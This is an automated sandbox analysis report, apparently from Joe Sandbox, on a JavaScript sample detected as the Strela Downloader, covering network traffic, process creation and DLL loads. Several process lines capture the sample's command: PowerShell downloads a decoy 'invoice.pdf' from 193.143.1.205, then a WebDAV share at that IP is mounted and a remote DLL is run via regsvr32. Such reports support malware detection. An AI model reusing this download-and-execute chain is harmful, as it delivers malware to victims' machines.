Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49777

Source: global traffic

TCP traffic: 192.168.2.9:49777 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49756 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1361383407.000001E03D3D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1424630786.0000019C4F208000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1424630786.0000019C4F233000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1424630786.0000019C4F208000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/H
Source: svchost.exe, 00000009.00000002.2655433064.000001BA5CC88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1424740990.000001BA5CE00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7500, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 522327491130758262.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7596:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1b5wrhae.uss.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 522327491130758262.js

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1644,i,2973782454620133197,160051781018854602,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1644,i,2973782454620133197,160051781018854602,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
